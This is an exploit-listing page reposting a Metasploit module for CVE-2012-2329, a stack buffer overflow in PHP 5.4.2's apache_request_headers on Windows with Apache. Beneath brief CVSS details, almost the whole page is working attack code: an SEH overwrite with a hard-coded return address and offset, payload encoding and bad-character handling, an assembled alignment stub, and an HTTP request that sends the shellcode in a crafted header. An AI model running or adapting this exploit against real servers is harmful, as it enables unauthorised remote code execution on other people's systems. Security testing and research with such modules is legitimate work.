PHP apache_request_headers Function Buffer Overflow

2012.06.19
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'PHP apache_request_headers Function Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow in the CGI version of PHP 5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the HTTP headers. This module has been tested against the thread safe version of PHP 5.4.2, from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com". }, 'Author' => [ 'Vincent Danen', # Vulnerability discovery 'juan vazquez', # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2012-2329'], [ 'OSVDB', '82215'], [ 'BID', '53455'], [ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ], [ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, 'Payload' => { 'Space' => 1321, 'DisableNops' => true, 'BadChars' => "\x00\x0d\x0a\x5f\x80\x8e\x9e\x9f" + (0x41..0x5a).to_a.pack("C*") + (0x82..0x8c).to_a.pack("C*") + (0x91..0x9c).to_a.pack("C*"), 'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe, 'EncoderOptions' => { 'BufferOffset' => 0x0 } }, 'Platform' => 'win', 'Targets' => [ ['Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe', { 'Ret' => 0x1002aa79, # ppr from php5ts.dll 'Offset' => 1332 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2012')) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']), ], self.class) end def exploit print_status("Trying target #{target.name}...") # Make ECX point to the start of the encoded payload align_ecx = "pop esi\n" # "\x5e" esi_alignment = target['Offset'] + # Space from the start of align_ecx to nseh handler 8 + # len(nseh + seh) 5 - # len(call back) 11 # len(align_ecx) align_ecx << "add esi, -#{esi_alignment}\n" # "\x81\xC6" + 4 bytes imm (ex: "\xCA\xFA\xFF\xFF") align_ecx << "sub ecx, ecx\n" # "\x29\xC9" align_ecx << "add ecx, esi" # "\x01\xf1" sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string # Encoded payload sploit << payload.encoded # Padding if needed sploit << rand_text(target['Offset']-sploit.length) # SEH handler overwrite sploit << generate_seh_record(target.ret) # Call back "\xE8" + 4 bytes imm (ex: "\xBF\xFA\xFF\xFF") sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['Offset']+8}").encode_string # Make it crash sploit << rand_text(4096 - sploit.length) print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ 'uri' => target_uri.to_s, 'method' => 'GET', 'headers' => { "HTTP_X_#{rand_text_alpha_lower(4)}" => sploit, } }) if res and res.code == 500 print_status "We got a 500 error code. Even without a session it could be an exploitation signal!" end handler end end

References:

http://www.php.net/archive/2012.php#id2012-05-08-1
https://bugzilla.redhat.com/show_bug.cgi?id=820000


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